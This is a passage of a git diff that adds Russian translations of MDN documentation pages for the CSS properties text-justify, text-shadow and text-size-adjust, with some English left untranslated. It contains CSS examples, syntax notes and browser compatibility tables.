Выравнивание текста по средствам добавления пробелов между символами (effectively varying {{cssxref("letter-spacing")}}), что наиболее подходит для таких языков как японский.
+
distribute {{deprecated_inline}}
+
Показывает тоже поведение, что и inter-character; это значение сохранилось для обратной совместимости.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ + + +
p {
+  font-size: 1.5em;
+  border: 1px solid black;
+  padding: 10px;
+  width: 95%;
+  margin: 10px auto;
+  text-align: justify;
+}
+
+.none {
+  text-justify: none;
+}
+
+.auto {
+  text-justify: auto;
+}
+
+.dist {
+  text-justify: distribute;
+}
+
+.word {
+  text-justify: inter-word;
+}
+
+.char {
+  text-justify: inter-character;
+}
+ +

{{EmbedLiveSample("Examples","100%",400)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Text', '#text-justify-property', 'text-justify')}}{{Spec2('CSS3 Text')}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.text-justify")}}

+ +

Смотрите также

+ +
    +
  • {{cssxref("text-align")}}
    • +
diff --git a/files/ru/web/css/text-shadow/index.html b/files/ru/web/css/text-shadow/index.html new file mode 100644 index 0000000000..891786f7b1 --- /dev/null +++ b/files/ru/web/css/text-shadow/index.html @@ -0,0 +1,138 @@ +--- +title: text-shadow +slug: Web/CSS/text-shadow +translation_of: Web/CSS/text-shadow +--- +
{{CSSRef}}
+ +

CSS-свойство text-shadow добавляет тени к тексту. Свойство задаётся разделённым запятыми списком теней, которые будут применены к тексту и к любым его свойствам decorations. Любая тень описывается комбинацией смещений по осям X и Y относительно элемента, радиусом размытия и цветом.

+ +
{{EmbedInteractiveExample("pages/css/text-shadow.html")}}
+ + + +

Syntax

+ +
/* смещение-x | смещение-y | радиус-размытия | цвет */
+text-shadow: 1px 1px 2px black;
+
+/* цвет | смещение-x | смещение-y | радиус-размытия */
+text-shadow: #fc0 1px 0 10px;
+
+/* смещение-x | смещение-y | цвет */
+text-shadow: 5px 5px #558abb;
+
+/* цвет | смещение-x | смещение-y */
+text-shadow: white 2px 5px;
+
+/* смещение-x | смещение-y
+/* Используем значения по умолчанию для цвета и радиуса-размытия */
+text-shadow: 5px 10px;
+
+/* Значения принятые глобально */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;
+
+ +

Это свойство определено как разделённый запятыми список теней.

+ +

Каждая тень определена как два или три значения <длина>, за которыми следует необязательное значение <цвет>. Первые два значения <длина> определяют параметры <смещение-x> и <смещение-y>. Третье необязательное значение <длина> задаёт <радиус-размытия>. Значение <цвет> определяет цвет тени.

+ +

Если определены больше чем одна тень, тени накладываются друг на друга в порядке обратном порядку их определения, что значит, первая тень окажется поверх последующих.

+ +

Это свойство можно применить к псевдо-элементам {{cssxref("::first-line")}} и {{cssxref("::first-letter")}}.

+ +

Значения

+ +
+
{{cssxref("<цвет>")}}
+
Необязательный. Цвет тени. Параметр может быть определён как до, так и после значений смещений. Если значение не задано, то его цвет будет определяться браузером пользователя, поэтому, для сохранения согласованности в отображении в браузерах, рекомендуется опредлить значение цвета явно.
+
<смещение-x> <смещение-y>
+
Обязательные. Эти величины {{cssxref("<длина>")}} задают расстояние тени от текста. <смещение-x> определяет горизонтальное расстояние; отрицательное значение размещает тень левее от текста. <смещение-y> определяет вертикальное растояние; отрицательное значение размещает тень выше текста. Если оба значения заданы в 0, тень будет располагаться прямо за текстом, она может быть видна из-за эффекта <радиус-размытия>.
+
<радиус-размытия>
+
Необязательный. Это величина {{cssxref("<длина>")}}. Чем больше значение, тем сильнее задаётся размытие; тень становится шире и светлее. Значение по умолчанию 0, в случае когда параметр не определён.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Простая тень

+ +
+
.red-text-shadow {
+  text-shadow: red 0 -2px;
+}
+ +
<p class="red-text-shadow">Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.</p>
+
+ +

{{EmbedLiveSample('Simple_shadow', '660px', '90px')}}

+ +

Множественные тени

+ +
+
.white-text-with-blue-shadow {
+  text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+  color: white;
+  font: 1.5em Georgia, serif;
+}
+ +
<p class="white-text-with-blue-shadow">Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.</p>
+
+ +

{{EmbedLiveSample('Multiple_shadows', '660px', '170px')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}{{Spec2('CSS3 Transitions')}}Определяет text-shadow как анимируемую.
{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow')}}{{Spec2('CSS3 Text Decoration')}}Свойство CSS text-shadow было ошибочно определено в CSS2 и удалено из CSS2 (Level 1). Спецификация The CSS Text Module Level 3 исправила синтаксис. Позже оно было перемещено в CSS Text Decoration Module Level 3.
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.text-shadow")}}

+ +

Примечание Quantum CSS

+ +
    +
  • В движке Gecko есть программная ошибка в результате которой метод перехода ({{cssxref("transition")}}) не будет производить переход от элемента со свойством text-shadow с заданным цветом к элементу со свойством text-shadow без заданного цвета  ({{bug(726550)}}). Данная ошибка была исправлена в параллельной ветке движка CSS для Firefox (так же известном как Quantum CSS или Stylo, выпуск которого запланирован уже в версии Firefox 57).
    • +
+ +

Также смотрите

+ + diff --git a/files/ru/web/css/text-size-adjust/index.html b/files/ru/web/css/text-size-adjust/index.html new file mode 100644 index 0000000000..fc87bf341b --- /dev/null +++ b/files/ru/web/css/text-size-adjust/index.html @@ -0,0 +1,165 @@ +--- +title: text-size-adjust +slug: Web/CSS/text-size-adjust +tags: + - Эксперементально +translation_of: Web/CSS/text-size-adjust +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Свойство text-size-adjust контролирует алгоритм увеличения текста, используемый на некоторых смартфонах и планшетах. Другие браузеры будут игнорировать это свойство.

+ +

Так как это свойство нестандартное, нужно использовать префиксы: -moz-text-size-adjust, -webkit-text-size-adjust, и -ms-text-size-adjust.

+ +

Поскольку при разработке многих сайтов не подразумевался их просмотр на мобильных устройствах, то мобильные браузеры отличаются от браузеров для настольных компьютеров способом вывода страницы на экран. Для размещения страниц они используют не ширину экрана устройства, а {{glossary("viewport")}}, который значительно шире, обычно 800 или 1000 пикселей. Чтобы вернуть соответствие слишком широкой страницы истинному размеру устройства, они или показывают лишь часть того, что на самом деле визуализировано, или же уменьшают размер viewport до размеров устройства.

+ +

Так как текст, который был уменьшен для того, чтобы уместиться на мобильном экране, может стать очень маленьким, многие мобильные браузеры применяют алгоритм увеличения текста для того, чтобы масштабировать текст и сделать его более удобным для чтения. Когда элемент, содержащий текст, использует 100% ширины экрана, алгоритм увеличивает размер его текста, но без изменения макета. Свойство text-size-adjust  позволяет веб-разработчикам отменить или изменить это поведение, так как веб-страницы, созданные с учётом вывода на маленькие экраны, не нуждаются в нём.

+ +

This approach has been used as numerous web sites are not able to cope with small screens and are not usable when using the classical layout algorithm. This technique has drawbacks: the text is so tiny that it is unreadable without zooming. Even so, the user experience is better with the classical approach, which often leads to put secondary content at the top of the smartphone display, effectively pushing the main content of the page outside the viewport.

+ +

But when the user zoomed in until the text becomes readable, an horizontal scrollbar is often needed as the line becomes larger than the width of the screen. This horizontal scrollbar has to be used to read each line of the text, which is a user experience nightmare. To prevent this, several mobile browsers implement a text inflation algorithm. When a focused element containing text use 100 % of the width of the screen, its text size is increased until it reached a readable size, without modifying the layout and removing the need of an horizontal scrollbar.

+ +

The text-size-adjust property allows Web authors to opt out from this behavior, as Web pages designed to handle small screen widths do not need it.

+ +
Предупреждения: + +
    +
  • Это свойство является нестандартным. In order to use it, Web authors have to duplicate, or even triplicate it, prefixed for each engine supporting it.
    • +
  • Its behavior, and even the syntax, is slightly different from one browser engine to the other. Web developers should read the browser compatibility section with the required attention.
    • +
  • Это свойство работает только на смартфонах. As there is no inflation algorithm on desktop browsers, and on some tablet browsers like the iPad, the property is not supported there (and ignored). This property is only designed to opt out, or to cancel this opt-out, of the inflating behavior, not to opt in.
    • +
  • If -webkit-text-size-adjust is explicitly set to none, old versions of Webkit-based desktop and tablet browsers, like Chrome≤26 or Safari≤5, instead of ignoring the property, will prevent the user to zoom in or out the Web page.#
    • +
  • Not all engines do allow to control the final size of the text using a percentage value (E.g. Webkit and Trident do allow it, Gecko doesn't). Again Web developers should read the browser compatibility section with the required attention.
    • +
+
+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Text is never inflated */
+text-size-adjust: none;
+
+/* Text may be inflated */
+text-size-adjust: auto;
+
+/* Text may be inflated in this exact proportion */
+text-size-adjust: 80%;
+
+/* Глобальные значения */
+text-size-adjust: inherit;
+text-size-adjust: initial;
+text-size-adjust: unset;
+
+ +

Значения

+ +
+
none
+
Is a keyword preventing the usage of the inflation algorithm on the element. Basically, this means that the element will be displayed without its font inflated. On old WebKit-based desktop browsers (Chrome≤26, Safari≤5), this will instead prevent the user from zooming the webpage in or out.
+
auto
+
Is a keyword allowing the usage of the inflation algorithm on the element. Browsers are not forced to use it and they won't do it on desktops and on some tablets. Its main use is to cancel a none value previously set.
+
<percentage>
+
A percentage value is a synonym of the auto keyword, with the additional information that the percentage value is the increase rate to be applied to the font size when the inflation algorithm is applied.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS Text Size Adjust", "#adjustment-control", "text-size-adjust")}}{{Spec2("CSS Text Size Adjust")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностиChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]
Проценты{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностиAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatGeckoMobile("11.0")}} {{property_prefix("-moz")}}{{CompatVersionUnknown}} {{property_prefix("-ms")}}[2]
+ 11{{property_prefix("-webkit")}}		{{CompatNo}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
Процент{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}[2]{{CompatNo}}{{CompatVersionUnknown}}
+
+ +

[1] There is a bug in old Webkit-based desktop browsers. If -webkit-text-size-adjust is explicitly set to none, Webkit-based desktop browsers, like Chrome or Safari, instead of ignoring the property, will prevent the user to zoom in or out the Web page. See Bug 56543 (affected Safari≤5 & Chrome≤26), Bug 163359, and Bug 84186.

+ +

[2] If the viewport is set using {{HTMLElement("meta")}} element, the value of the CSS text-size-adjust property is ignored. See detailed implementation hints on MSDN.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/time/index.html b/files/ru/web/css/time/index.html new file mode 100644 index 0000000000..c300093e72 --- /dev/null +++ b/files/ru/web/css/time/index.html @@ -0,0 +1,87 @@ +--- +title: